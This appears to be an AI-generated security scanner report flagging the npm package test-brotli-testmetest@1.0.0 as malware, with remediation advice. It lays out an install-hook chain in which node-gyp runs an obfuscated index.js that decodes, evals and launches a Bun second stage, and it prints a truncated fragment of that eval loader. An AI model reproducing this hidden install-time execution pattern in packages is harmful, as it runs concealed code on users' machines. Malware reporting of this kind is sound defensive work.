test-brotli-testmetest@1.0.0
test
AI Security Review
scanned 2d ago · by lpm-firewall-aiThe package automatically executes a concealed, encrypted multi-stage script during installation, including a second stage launched through Bun. This is active install-time payload execution, so I classify it as malicious.
Static reason
One or more suspicious static signals were detected.
Trigger
Installing the package invokes its install hook, which runs node-gyp rebuild; the build configuration runs index.js.
Impact
Hidden code executes on the installation host with the install process's privileges.
Mechanism
index.js decodes and evaluates hidden source, decrypts another stage, writes it to a temporary file, and launches it with Bun.
Attack narrative
The install hook enters node-gyp, whose configuration runs the package entrypoint with output suppressed. That entrypoint decodes an obfuscated loader, evaluates decrypted code, and launches a second embedded script through Bun. This concealed install-time execution has no apparent build purpose and is sufficient to establish an active malicious payload execution path.
AI rationale
The package automatically executes a concealed, encrypted multi-stage script during installation, including a second stage launched through Bun. This is active install-time payload execution, so I classify it as malicious.
Evidence
package.jsonbinding.gypindex.js
Decision evidence
public snapshotAI called this Malicious at 95.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json defines an install hook that runs node-gyp rebuild.
- binding.gyp runs index.js during configuration and suppresses its output.
- index.js transforms encoded source and evaluates the result; static decoding reveals an encrypted loader that evaluates one stage and writes another to a temporary file for execution with Bun.
- The package provides no ordinary build implementation: binding.gyp declares a target named nothing with type none.
Evidence against
- I did not establish a network endpoint or credential transfer from the inspected source.
Behavioral surface
Eval
MinifiedTrivial
NoLicense
Source & flagged code
9 flagged · loading sourcepackage.jsonView file
•scripts.install = node-gyp rebuild
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"main": "index.js",
"scripts": {
"install": "node-gyp rebuild"
}
}
High
Suspicious Lifecycle Evidence
package.json defines an install hook that runs node-gyp rebuild.
package.jsonView on unpkg · L5index.jsView file
1(function(){var _r=0,_s=1,_t=2;try{eval((function(d,k){return d.replace(/[a-zA-Z]/g,function(v){var o=v<="Z"?65:97;return String.fromCharCode((v.charCodeAt(0)-o+k)%26+o)})})([40,122,114,120,109,98,40,41,61,62,123,115,113
High
Ai Review Evidence
index.js transforms encoded source and evaluates the result; static decoding reveals an encrypted loader that evaluates one stage and writes another to a temporary file for execution with Bun.
index.jsFindings
5 High3 Medium4 Low
HighInstall Time Lifecycle Scriptspackage.json
HighShips High Entropy Blobtest-brotli-testmetest-1.0.0.tgz
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebinding.gyp
HighAi Review Evidenceindex.js
MediumShips Build Helperbinding.gyp
MediumShips Compressed Blobtest-brotli-testmetest-1.0.0.tgz
MediumStructural Risk Force Deep Review
LowScripts Present
LowEvalindex.js
LowNested Archive Needs Inspectiontest-brotli-testmetest-1.0.0.tgz
LowNo License
Affected versions and remediation
This report applies to test-brotli-testmetest@1.0.0.
See all versions of test-brotli-testmetest for other recorded verdicts.
- Avoid installing test-brotli-testmetest@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.